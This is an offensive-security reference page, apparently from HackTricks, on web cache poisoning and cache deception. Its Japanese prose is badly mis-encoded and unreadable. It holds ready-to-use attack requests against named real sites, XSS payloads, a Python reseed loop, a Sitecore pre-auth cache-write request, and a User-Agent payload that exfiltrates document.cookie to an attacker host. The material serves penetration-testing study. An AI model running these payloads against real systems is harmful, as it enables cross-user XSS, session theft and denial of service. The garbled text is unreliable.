Cache Poisoning and Cache Deception
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
éã
web cache poisoning ãš web cache deception ã®éãã¯äœã§ããïŒ
- In web cache poisoning, æ»æè ã¯ã¢ããªã±ãŒã·ã§ã³ã«æªæããã³ã³ãã³ãããã£ãã·ã¥ã«ä¿åããããã®ã³ã³ãã³ãããã£ãã·ã¥ããä»ã®ã¢ããªã±ãŒã·ã§ã³ãŠãŒã¶ãŒã«é ä¿¡ãããŸãã
- In web cache deception, æ»æè ã¯å¥ã®ãŠãŒã¶ãŒã«å±ããæ©å¯ã³ã³ãã³ãããã£ãã·ã¥ã«ä¿åãããæ»æè ããã®ã³ã³ãã³ãããã£ãã·ã¥ããååŸããŸãã
Cache Poisoning
Cache poisoning ã¯ã¯ã©ã€ã¢ã³ãåŽã®ãã£ãã·ã¥ãæäœããŠãã¯ã©ã€ã¢ã³ãã«äºæããªããéšåçãªããŸãã¯æ»æè ãå¶åŸ¡ãããªãœãŒã¹ãèªã¿èŸŒãŸããããšãç®çãšããŠããŸãã圱é¿ã®ç¯å²ã¯å¯Ÿè±¡ããŒãžã®äººæ°åºŠã«äŸåããæ±æãããã¬ã¹ãã³ã¹ã¯ãã£ãã·ã¥ãæ±æãããŠããæéã«ãã®ããŒãžã蚪ãããŠãŒã¶ãŒã«ã®ã¿æäŸãããŸãã
cache poisoning æ»æã®å®è¡ã¯ä»¥äžã®ã¹ããããå«ã¿ãŸãïŒ
- Identification of Unkeyed Inputs: ãã£ãã·ã¥ã«ä¿åããããã«å¿ é ã§ã¯ãªããããµãŒããŒãè¿ãã¬ã¹ãã³ã¹ã倿ŽãåŸããã©ã¡ãŒã¿ãç¹å®ããŸãããããã®å ¥åãç¹å®ããããšã¯ããã£ãã·ã¥ãæäœããããã®éèŠãªæãããã§ãã
- Exploitation of the Unkeyed Inputs: unkeyed inputs ãç¹å®ããããæ¬¡ã¯ãããã®ãã©ã¡ãŒã¿ãã©ã®ããã«æªçšããŠãµãŒããŒã®ã¬ã¹ãã³ã¹ãæ»æè ã«æå©ãªåœ¢ã§å€æŽã§ããããçªãæ¢ããŸãã
- Ensuring the Poisoned Response is Cached: æåŸã«ãæ¹ããããã¬ã¹ãã³ã¹ããã£ãã·ã¥ã«ä¿åãããããšã確èªããŸããããããããšã§ããã£ãã·ã¥ãæ±æãããŠããéã«è©²åœããŒãžã«ã¢ã¯ã»ã¹ãããŠãŒã¶ãŒã¯æ±æãããã¬ã¹ãã³ã¹ãåãåããŸãã
çºèŠ: HTTP ããããŒã確èª
éåžžãã¬ã¹ãã³ã¹ã stored in the cache ãšãã«ã¯ããã瀺ãããããŒãä»äžãããããšãå€ãã§ããã©ã®ããããŒã«æ³šæãã¹ããã¯ãã®æçš¿ã§ç¢ºèªããŠãã ãã: HTTP Cache headers.
çºèŠ: ãšã©ãŒã³ãŒãã®ãã£ãã·ã¥
ã¬ã¹ãã³ã¹ããã£ãã·ã¥ã«ä¿åãããŠãããçãå Žåãbad header ãä»ããŠãªã¯ãšã¹ããéä¿¡ããŠã¿ããšããã®ãªã¯ãšã¹ã㯠status code 400 ã§å¿çãããã¯ãã§ããæ¬¡ã«éåžžã©ãããã®ãªã¯ãšã¹ãã«ã¢ã¯ã»ã¹ããŠãresponse ã 400 status code ã§ããã°è匱ã§ããããšãåãããŸãïŒå Žåã«ãã£ãŠã¯ DoS ãå®è¡ã§ããããšãããããŸãïŒã
You can find more options in:
ãã ãããããã®çš®é¡ã® status codes ã¯ãã£ãã·ã¥ãããªãããšãããããããã®ãã¹ãã¯å¿ ãããä¿¡é Œã§ãããšã¯éããŸããã
çºèŠ: unkeyed inputs ã®ç¹å®ãšè©äŸ¡
Param Miner ã䜿ã£ãŠãããŒãžã®ã¬ã¹ãã³ã¹ã倿ŽããŠããå¯èœæ§ã®ãããã©ã¡ãŒã¿ãããããŒããã«ãŒããã©ãŒã¹ããããšãã§ããŸããäŸãã°ãããŒãžãã¯ã©ã€ã¢ã³ãã«ã¹ã¯ãªãããããããèªã¿èŸŒãŸããããã«ããã㌠X-Forwarded-For ã䜿çšããŠããå ŽåããããŸãïŒ
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Elicit a harmful response from the back-end server
ãã©ã¡ãŒã¿ïŒããããŒãç¹å®ãããããããã©ã®ããã«ãµãã¿ã€ãºãããŠãããããŸãããããŒããã®ã¬ã¹ãã³ã¹ã«ã©ãã§****åæ ãããŠãããã確èªããŠãã ãããã©ãããŠãæªçšã§ããŸããïŒXSSãå®è¡ããããŸãã¯èªåã§å¶åŸ¡ããJSã³ãŒããèªã¿èŸŒãŸãããDoSãè¡ããªã©ïŒïŒ
Get the response cached
æªçšå¯èœãªããŒãžã䜿çšãããã©ã¡ãŒã¿ïŒããããŒãããã³ã©ã®ããã«æªçšããããç¹å®ãããããã®ããŒãžããã£ãã·ã¥ãããå¿ èŠããããŸãããã£ãã·ã¥ã«æ ŒçŽããããŸã§ã«æéããããå Žåããããæ°ç§éãªã¯ãšã¹ãã詊è¡ãç¶ããå¿ èŠããããããããŸããã
ã¬ã¹ãã³ã¹ã®ããã㌠X-Cache ã¯éåžžã«æçšã§ããªã¯ãšã¹ãããã£ãã·ã¥ãããŠããªããšã㯠missããã£ãã·ã¥ãããŠãããšã㯠hit ãšããå€ã«ãªãããšããããŸãã
ããã㌠Cache-Control ãããªãœãŒã¹ããã£ãã·ã¥ãããŠãããã©ãããæ¬¡ã«ãã€ãã£ãã·ã¥ãããããç¥ãããã§éèŠã§ã: Cache-Control: public, max-age=1800
ããäžã€è峿·±ãããããŒã¯ Vary ã§ãããã®ããããŒã¯ãéåžžã¯ããŒåãããªãããããŒã§ãã£ãŠããã£ãã·ã¥ã®äžéšãšããŠæ±ããã远å ã®ããããŒã瀺ãããã«äœ¿ãããããšãå€ãã§ãããããã£ãŠãæ»æå¯Ÿè±¡ã䜿ã£ãŠãã User-Agent ãç¥ã£ãŠããã°ããã®ç¹å®ã® User-Agent ã䜿ããŠãŒã¶ãŒåãã«ãã£ãã·ã¥ãæ¯ããããšãã§ããŸãã
ãã£ãã·ã¥ã«é¢é£ãããã1ã€ã®ããããŒã¯ Age ã§ããããã¯ãªããžã§ã¯ãããããã·ãã£ãã·ã¥å
ã«ååšããŠããæéãç§åäœã§å®çŸ©ããŸãã
ãªã¯ãšã¹ãããã£ãã·ã¥ãããšãã¯ã䜿çšããããããŒã«æ³šæããŠãã ããããªããªããããã€ãã®ããããŒã¯äºæããããŒåãããŠããŸãããšãããã被害è ãåãããããŒã䜿çšããå¿ èŠãããããã§ããåžžã«ç°ãªããã©ãŠã¶ã§Cache Poisoningããã¹ãããŠãåäœããã確èªããŠãã ããã
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- The origin templated redirects and canonical URLs with
X-Forwarded-Host, but the cache key only used theHostheader, so a single response poisoned every visitor to/. - Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Immediately re-request
/without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
GitHub ãªããžã㪠DoS via Content-Type + PURGE
- å¿åãã©ãã£ãã¯ã¯ path ã®ã¿ã§ããŒä»ããããŠãããããã¯ãšã³ãã¯äºæããªã
Content-Typeãåãåããšãšã©ãŒç¶æ ã«é¥ããŸããããã®ãšã©ãŒå¿çã¯ãrepo ã®ãã¹ãŠã®æªèªèšŒãŠãŒã¶ãŒã«å¯ŸããŠãã£ãã·ã¥å¯èœã§ããã - GitHub ã¯å¶çºçã«
PURGEverb ãèªããŠãããæ»æè ãæ£åžžãªãšã³ããªããã©ãã·ã¥ããŠããã£ãã·ã¥ã«èŠæ±ã«å¿ããŠæ¯ãããããªã¢ã³ããåãã«è¡ãããããšãå¯èœã«ããŠããŸããïŒ
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- åžžã« authenticated vs anonymous ã® cache keys ãæ¯èŒãã
Content-Typeã®ãããªæ» å€ã«ããŒåãããªããããã fuzz ããå ¬éãããŠãã cache-maintenance verbs ããããŒãã㊠re-poisoning ãèªååããŸãã
Shopify cross-host persistence loops
- Multi-layer caches ã¯ãæã«æ°ãããªããžã§ã¯ããã³ãããããåã«è€æ°åã®åäžããããå¿ èŠãšããŸããShopify ã¯åã cache ã倿°ã®ããŒã«ã©ã€ãºããã hosts éã§åå©çšããŠãããããpersistence ãå€ãã® properties ã«åœ±é¿ãäžããŸããã
- çã automation loops ã䜿ã£ãŠç¹°ãè¿ã reseed ããŸã:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
hitã¬ã¹ãã³ã¹ã®åŸãåããã£ãã·ã¥ããŒã ã¹ããŒã¹ãå ±æããä»ã®ãã¹ã/ã¢ã»ãããã¯ããŒã«ããŠãã¯ãã¹ãã¡ã€ã³ã®è¢«å®³ç¯å²ãå®èšŒããã
JSã¢ã»ããã®ãªãã€ã¬ã¯ã â stored XSS ãã§ãŒã³
- ãã©ã€ããŒãããã°ã©ã ã§ã¯ã
/assets/main.jsã®ãããªå ±æJSãæ°åã®ãµããã¡ã€ã³ã«ãŸããã£ãŠãã¹ãããŠããããšãå€ããããX-Forwarded-Hostããããã®ã¢ã»ããã®ãªãã€ã¬ã¯ãããžãã¯ã«åœ±é¿ãäžãããã€ããŒã§æ€èšŒãããŠããªãå Žåããã£ãã·ã¥ãããã¬ã¹ãã³ã¹ã¯æ»æè ã®JSãžã®301ãšãªããã¢ã»ãããã€ã³ããŒãããããã¹ãŠã®å Žæã§ stored XSS ãåŒãèµ·ããã
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- åã asset path ãåå©çšããŠãããã¹ãããããããŠãmulti-subdomain compromise ãç«èšŒã§ããããã«ããã
GitLab static DoS via X-HTTP-Method-Override
- GitLab 㯠Google Cloud Storage ãã static bundles ãé
ä¿¡ããŠããã
X-HTTP-Method-Overrideãå°éããŠãããGET ã HEAD ã«ãªãŒããŒã©ã€ããããšããã£ãã·ã¥å¯èœãª200 OKïŒContent-Length: 0ïŒãè¿ãããedge cache ã¯ããŒçææã« HTTP ã¡ãœãããç¡èŠããŠããã
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- åäžã®ãªã¯ãšã¹ãããã¹ãŠã® GET ã«å¯Ÿã㊠JS ãã³ãã«ã空㮠body ã«çœ®ãæããçµæçã« UI ã DoSing ããŠããŸã£ããåžžã« method overrides (
X-HTTP-Method-Override,X-Method-Override, etc.) ã static assets ã«å¯ŸããŠãã¹ãããcache ã method ã«ãã£ãŠå€åãããã確èªããã
HackerOne static asset loop via X-Forwarded-Scheme
- Railsâ Rack middleware ã¯
X-Forwarded-Schemeãä¿¡é Œã㊠HTTPS ã匷å¶ãããã©ããã倿ããŠããã/static/logo.pngã«å¯ŸããŠhttpãåœè£ ãããšãã£ãã·ã¥å¯èœãª 301 ãåŒãèµ·ããããã®çµæãã¹ãŠã®ãŠãŒã¶ãŒãã¢ã»ããã®ä»£ããã«ãªãã€ã¬ã¯ãïŒãŸãã¯ã«ãŒãïŒãåãåãããã«ãªã£ã:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- å¯èœã§ããã° scheme spoofing ãš host spoofing ãçµã¿åãããŠãç®ç«ã€ãªãœãŒã¹ã«å¯ŸããŠäžå¯éçãªãªãã€ã¬ã¯ããäœæããã
Cloudflare host-header ã®å€§æåå°æåäžäžèŽ
- Cloudflare ã¯ãã£ãã·ã¥ããŒã®ããã«
Hostããããæ£èŠåããããçã®å€§æåå°æåã®ãŸãŸãªãªãžã³ã«è»¢éãããHost: TaRgEt.CoMãéããšãæ£æºã®å°æåãã£ãã·ã¥ãã±ãããåããããäžæ¹ã§ããªãªãžã³ã® routing/templating ã«å¥ã®æåãåŒãèµ·ãããã
GET / HTTP/1.1
Host: TaRgEt.CoM
- CDNããã³ãããmixed-case hostsïŒããã³ãã®ä»ã® normalized headersïŒããªãã¬ã€ããŠåæããcached response ãš origin response ã diff ã㊠shared-platform cache poisonings ãçºèŠããã
Red Hat Open Graph meta poisoning
- Open Graph ã¿ã°å
ã«
X-Forwarded-Hostãæ³šå ¥ãããšãCDN ãããŒãžããã£ãã·ã¥ããéã« reflected HTML injection ã stored XSS ã«å€ãã£ãããã¹ãäžã¯ harmless cache buster ã䜿çšããproduction users ã«è¢«å®³ãåã°ãªãããã«ãã:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- ãœãŒã·ã£ã«ã¡ãã£ã¢ã®ã¹ã¯ã¬ã€ããŒã¯ãã£ãã·ã¥ããã Open Graph ã¿ã°ãåç §ããããã1ã€ã® poisoned ãšã³ããªããã€ããŒããçŽæ¥ã®èšªåè ãã¯ããã«è¶ ããŠæ¡æ£ããŸãã
æªçšã®äŸ
æãç°¡åãªäŸ
X-Forwarded-For ã®ãããªããããã¬ã¹ãã³ã¹ã«ãµãã¿ã€ãºãããã«åæ ãããŠããã
åºæ¬ç㪠XSS payload ãéã£ãŠãã£ãã·ã¥ã poison ããã°ãããŒãžã«ã¢ã¯ã»ã¹ããå
šå¡ã XSSed ãããŸã:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
ãã®æäœã¯ /en?region=uk ãžã®ãªã¯ãšã¹ãã poison ãã/en ã«ã¯ããªãããšã«æ³šæããŠãã ãã
Cache poisoning to DoS
Cache poisoning through CDNs
this writeup ã§ã¯ä»¥äžã®åçŽãªã·ããªãªã説æãããŠããŸã:
- CDN ã¯
/share/以äžã®ãã¹ãŠã cache ãã - CDN ã¯
%2F..%2Fããã³ãŒããæ£èŠåãããªããããããã path traversal ãšããŠå©çšããŠãhttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123ã®ããã«ãã£ãã·ã¥ãããä»ã®ã»ã³ã·ãã£ããªå Žæã«ã¢ã¯ã»ã¹ã§ãã - web server ã¯
%2F..%2Fããã³ãŒãã»æ£èŠåãã/api/auth/sessionãè¿ããããã«ã¯ auth token ãå«ãŸããŠãã
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies ã¯ããŒãžã®ã¬ã¹ãã³ã¹ã«åæ ãããããšããããŸããäŸãã°ãããæªçšã㊠XSS ãçºçãããããã°ãæªæãã cache response ãèªã¿èŸŒãè€æ°ã® clients ã§ XSS ãæªçšã§ããå¯èœæ§ããããŸãã
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
åºåãæåãæ£èŠåãããã³ãããã«ããå·®ç°ã®çæ
Check:
Cache Poisoning via URL discrepancies
path traversal ã䜿ã£ã Cache poisoning ã«ãã API key ã®çªå
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
This is also explained better in:
Cache Poisoning via URL discrepancies
è€æ°ã®ãããã䜿çšã㊠web cache poisoning ã®è匱æ§ãæªçšãã
å Žåã«ãã£ãŠã¯ããã£ãã·ã¥ãæªçšããããã« è€æ°ã®ããŒæå®ãããŠããªãå
¥åãæªçšãã å¿
èŠããããŸããäŸãã°ãX-Forwarded-Host ãããªãã管çãããã¡ã€ã³ã«èšå®ããX-Forwarded-Scheme ã http ã«èšå®ãããš Open redirect ãèŠã€ããããããšããããŸãããã ãµãŒã ããã¹ãŠã® HTTP ãªã¯ãšã¹ãã HTTPS ã«è»¢éãããªãã€ã¬ã¯ãå
ã®ãã¡ã€ã³åãšããŠããã X-Forwarded-Scheme ã䜿çšããŠããå Žåããªãã€ã¬ã¯ãå
ãå¶åŸ¡ã§ããŸãã
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
éããã Varyheader ãæªçšãã
ãããX-Host ããããŒã domain name to load a JS resource ãšããŠäœ¿çšãããŠããŠãã¬ã¹ãã³ã¹ã® Vary ããããŒã User-Agent ã瀺ããŠããããšãåãã£ããã被害è
ã® User-Agent ã exfiltrate ããŠããã® user agent ã䜿ã£ãŠ cache ã poison ããæ¹æ³ãèŠã€ããå¿
èŠããããŸã:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URLãšbodyã®äž¡æ¹ã«ãªã¯ãšã¹ããå ¥ããGETãªã¯ãšã¹ããéããããweb serverãbodyã®æ¹ã䜿ããcache serverãURLã®æ¹ããã£ãã·ã¥ããå Žåããã®URLã«ã¢ã¯ã»ã¹ãã誰ã§ãå®éã«ã¯bodyã®ãã©ã¡ãŒã¿ã䜿ããããJames KettleãGithubã®ãŠã§ããµã€ãã§èŠã€ããvulnã®ããã«:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
ãã®ä»¶ã«é¢ãã Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
äŸãã°ãruby ãµãŒãã§ã¯ parameters ãåºåãã®ã« & ã®ä»£ããã«æå ; ã䜿ããããšããããŸãããããå©çšããŠãunkeyed ãªãã©ã¡ãŒã¿ã®å€ã keyed ãªãã©ã¡ãŒã¿å
ã«å
¥ã蟌ã¿ãæªçšããããšãå¯èœã§ãã
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
ããã§ã¯ Cache Poisoning attacks by abusing HTTP Request Smuggling ãå®è¡ããæ¹æ³ã«ã€ããŠåŠã¹ãŸãã
Web Cache Poisoning ã®èªåãã¹ã
The Web Cache Vulnerability Scanner 㯠Web Cache Poisoning ãèªåçã«ãã¹ãããããã«äœ¿çšã§ããŸããå€ãã®ææ³ããµããŒãããŠãããé«åºŠã«ã«ã¹ã¿ãã€ãºå¯èœã§ãã
äœ¿ãæ¹ã®äŸ: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
ãã®å®äŸãã¿ãŒã³ã¯ããããããŒã¹ã®åå°ããªããã£ããš CDN/WAF ã®æåãçµã¿åãããŠãä»ã®ãŠãŒã¶ã«é ä¿¡ããããã£ãã·ã¥æžã¿ HTML ã確å®ã«æ±æããŸã:
- ã¡ã€ã³ã® HTML ãä¿¡é Œã§ããªããªã¯ãšã¹ããããïŒäŸ:
User-AgentïŒãå®è¡å¯èœãªã³ã³ããã¹ãã«åæ ããŠããã - CDN ã¯ãã£ãã·ã¥ããããåé€ããããå
éš/ãªãªãžã³åŽã«ãã£ãã·ã¥ãååšãããCDN ã¯ãŸãéçæ¡åŒµåïŒäŸ:
.jsïŒã§çµãããªã¯ãšã¹ããèªåã§ãã£ãã·ã¥ããWAF ã¯éçã¢ã»ããã«å¯Ÿãã GET ã«å¯ŸããŠããç·©ãã³ã³ãã³ãæ€æ»ãé©çšããŠããã - ãªã¯ãšã¹ããããŒã®ç¹ç°ç¹ã«ããã
.jsãã¹ãžã®ãªã¯ãšã¹ãããã®åŸã®ã¡ã€ã³ HTML ã«äœ¿ããããã£ãã·ã¥ããŒ/ããªã¢ã³ãã«åœ±é¿ãäžãããããåå°ãä»ããã¯ãã¹ãŠãŒã¶ XSS ãå¯èœã«ããã
å®çšçãªæé ïŒããæå㪠CDN/WAF äžã§èŠ³æž¬ïŒ:
- ã¯ãªãŒã³ãª IP ããïŒéå»ã®ã¬ãã¥ããŒã·ã§ã³ã«åºã¥ãè©äŸ¡äœäžãé¿ããïŒããã©ãŠã¶ãŸã㯠Burp Proxy ã® Match & Replace ã䜿ã£ãŠæªæãã
User-Agentãèšå®ããã - Burp Repeater ã§ã2ã€ã®ãªã¯ãšã¹ãã®ã°ã«ãŒããçšæã âSend group in parallelâïŒsingle-packet mode ãæé©ïŒã䜿çšãã:
- æåã®ãªã¯ãšã¹ã: åäžãªãªãžã³ã®
.jsãªãœãŒã¹ãã¹ã«å¯ŸããŠæªæããUser-Agentãéä¿¡ã㊠GET ããã - çŽåŸã«: ã¡ã€ã³ããŒãž (
/) ã GET ããã
- CDN/WAF ã®ã«ãŒãã£ã³ã°ç«¶åãšèªåãã£ãã·ã¥ããã
.jsã«ãããæ±æããããã£ãã·ã¥æžã¿ HTML ã®ããªã¢ã³ããã·ãŒããããåããã£ãã·ã¥ããŒæ¡ä»¶ïŒäŸ:Varyã®æ¬¡å ãåããããšãã°User-AgentïŒãå ±æããä»ã®èšªåè ã«é ä¿¡ãããããšããããããŸãã
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- CDN èªäœã®ã¯ã©ãŠãã® IP ã䜿çšãããšã«ãŒãã£ã³ã°ã®äžè²«æ§ãåäžããããšãããã
- ãã峿 Œãª CSP ãååšããŠããŠããåå°ãã¡ã€ã³ã® HTML ã³ã³ããã¹ãã§å®è¡ãããCSP ã inline å®è¡ãèš±å¯ããŠãããã³ã³ããã¹ãã§ãã€ãã¹ã§ããå Žåã¯ããã§ãåäœããã
Impact:
- ã»ãã·ã§ã³ Cookie ã
HttpOnlyã§ãªãå Žåãpoisoned HTML ãé ä¿¡ããããã¹ãŠã®ãŠãŒã¶ãŒããdocument.cookieã mass-exfiltrating ããããšã§ãzero-click ATO ãå¯èœã«ãªãã
Sitecore preâauth HTML cache poisoning (unsafe XAML Ajax reflection)
Sitecore ç¹æã®ãã¿ãŒã³ã«ãããpreâauth XAML handlers ãš AjaxScriptManager reflection ãæªçšã㊠HtmlCache ãžã®èªèšŒäžèŠãªæžã蟌ã¿ãå¯èœã«ãªããSitecore.Shell.Xaml.WebControl ãã³ãã©ã«å°éãããšãxmlcontrol:GlobalHeaderïŒSitecore.Web.UI.WebControl 掟çïŒãå©çšå¯èœã«ãªãã以äžã® reflective call ãèš±å¯ããã:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>âŠpayloadâŠ</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
This writes arbitrary HTML under an attackerâchosen cache key, enabling precise poisoning once cache keys are known.
For full details (cache key construction, ItemService enumeration and a chained postâauth deserialization RCE):
è匱ãªäŸ
Apache Traffic Server (CVE-2021-27577)
ATS 㯠URL å
ã®ãã©ã°ã¡ã³ããåãé€ããã«è»¢éããcache key ã host, path, query ã®ã¿ã䜿ã£ãŠçæããŠããŸããïŒãã©ã°ã¡ã³ãã¯ç¡èŠïŒããã®ããããªã¯ãšã¹ã /#/../?r=javascript:alert(1) ã¯ããã¯ãšã³ããž /#/../?r=javascript:alert(1) ãšããŠéä¿¡ãããŸããããcache key ã«ã¯ãã€ããŒãã¯å«ãŸãã host, path, query ã®ã¿ã䜿ãããŠããŸããã
403 ãš Storage Buckets
Cloudflare ã¯ä»¥å 403 ã¬ã¹ãã³ã¹ããã£ãã·ã¥ããŠããŸããã誀ã£ã Authorization ãããã§ S3 ã Azure Storage Blobs ã«ã¢ã¯ã»ã¹ã詊ã¿ããš 403 ã¬ã¹ãã³ã¹ãè¿ããããããã£ãã·ã¥ãããŠããŸãããCloudflare 㯠403 ã®ãã£ãã·ã¥ã忢ããŸããããä»ã®ãããã·ãµãŒãã¹ã§åæ§ã®æåãæ®ã£ãŠããå¯èœæ§ããããŸãã
Injecting Keyed Parameters
ãã£ãã·ã¥ã¯ãã°ãã°ç¹å®ã® GET ãã©ã¡ãŒã¿ã cache key ã«å«ããŸããäŸãã° Fastly ã® Varnish ã¯ãªã¯ãšã¹ãäžã® size ãã©ã¡ãŒã¿ããã£ãã·ã¥ããŠããŸãããããããURL ãšã³ã³ãŒããããå¥åã®ãã©ã¡ãŒã¿ïŒäŸ: siz%65ïŒã誀ã£ãå€ã§éããããšãcache key ã¯æ£ãã size ãã©ã¡ãŒã¿ã䜿ã£ãŠæ§æãããäžæ¹ã§ãããã¯ãšã³ã㯠URL ãšã³ã³ãŒãããããã©ã¡ãŒã¿ã®å€ãåŠçããŠããŸããŸãã2 çªç®ã® size ãã©ã¡ãŒã¿ã URL ãšã³ã³ãŒããããšããã£ãã·ã¥ããã¯çããããããã¯ãšã³ãã§å©çšãããããšããçŸè±¡ãçºçããŸãããã®ãã©ã¡ãŒã¿ã« 0 ãå²ãåœãŠããšããã£ãã·ã¥å¯èœãª 400 Bad Request ãšã©ãŒãçããŸããã
User Agent ã«ãŒã«
äžéšã®éçºè 㯠FFUF ã Nuclei ã®ãããªé«ãã©ãã£ãã¯ããŒã«ã® user-agent ãæã€ãªã¯ãšã¹ãããããã¯ããŠãµãŒãè² è·ã管çããŸããç®èã«ãããã®ã¢ãããŒã㯠cache poisoning ã DoS ãšãã£ãè匱æ§ãæãããšããããŸãã
äžæ£ãªããããŒãã£ãŒã«ã
RFC7230 ã¯ããããŒåã«èš±å®¹ãããæåãå®ããŠããŸããæå®ããã tchar ç¯å²å€ã®æåãå«ããããã¯æ¬æ¥ãªã 400 Bad Request ãåŒãèµ·ããã¹ãã§ããå®éã«ã¯ãµãŒãããã®æšæºã«åŸããªãããšããããAkamai ã®æ³šç®ãã¹ãäŸã§ã¯äžæ£ãªæåãå«ããããã転éããcache-control ããããååšããªãéã 400 ãšã©ãŒããã£ãã·ã¥ããŠããŸããã\\ ã®ãããªäžæ£æåãå«ãããããéããšãã£ãã·ã¥å¯èœãª 400 Bad Request ãšã©ãŒã«ãªãããšãããã¿ãŒã³ã確èªãããŸããã
æ°ãããããã®çºèŠ
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
ç®çã¯ãã¯ã©ã€ã¢ã³ãã«ããã£ãã·ã¥ã«ä¿åããããªãœãŒã¹ïŒãã®äžã«æ©å¯æ å ±ãå«ãŸããŠããïŒããèªã¿èŸŒãŸããããšã§ãã
ãŸãã.css, .js, .png ãªã©ã®æ¡åŒµåã¯éåžž cache ã«ä¿åããããã«èšå®ãããŠããããšãå€ãç¹ã«æ³šæããŠãã ããããããã£ãŠãwww.example.com/profile.php/nonexistent.js ã«ã¢ã¯ã»ã¹ãããšãæ¡åŒµåã .js ãšèŠãªãããããã¬ã¹ãã³ã¹ã¯ãã£ãã·ã¥ãããå¯èœæ§ãé«ãã§ããããããããã¢ããªã±ãŒã·ã§ã³ã www.example.com/profile.php ã«ä¿åãããæ©å¯ãŠãŒã¶å
容ãè¿ããŠããå Žåãä»ã®ãŠãŒã¶ã®ãã®å
容ãçãããšãã§ããŸãã
ä»ã«ãã¹ããã¹ããã®:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
éåžžã«ããããããäŸã¯ãã® write-up ã«ãããŸã: [https://hackerone.com/reports/593712]ã
ãã®äŸã§ã¯ãhttp://www.example.com/home.php/non-existent.css ã®ãããªååšããªãããŒãžãèªã¿èŸŒããš http://www.example.com/home.php ã®å
容ïŒãŠãŒã¶ã®æ©å¯æ
å ±ãå«ãïŒãè¿ããããã£ãã·ã¥ãµãŒãããã®çµæãä¿åããããšã説æãããŠããŸãã
ãã®åŸãattacker ã¯èªåã®ãã©ãŠã¶ã§ http://www.example.com/home.php/non-existent.css ã«ã¢ã¯ã»ã¹ããŠãå
ã«ã¢ã¯ã»ã¹ãããŠãŒã¶ã® confidential information ã芳å¯ã§ããŸãã
泚æãã¹ãã¯ãcache proxy ããã¡ã€ã«ã® extensionïŒ.cssïŒã«åºã¥ããŠãã£ãã·ã¥ãè¡ãããã«èšå®ãããŠãããcontent-type ã«åºã¥ããŠããªãç¹ã§ããäŸã§ã¯ http://www.example.com/home.php/non-existent.css ã® content-type 㯠text/html ã«ãªããtext/css ã§ã¯ãããŸããã
å®è¡æ¹æ³ã«ã€ããŠã¯ãã¡ããåç § Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
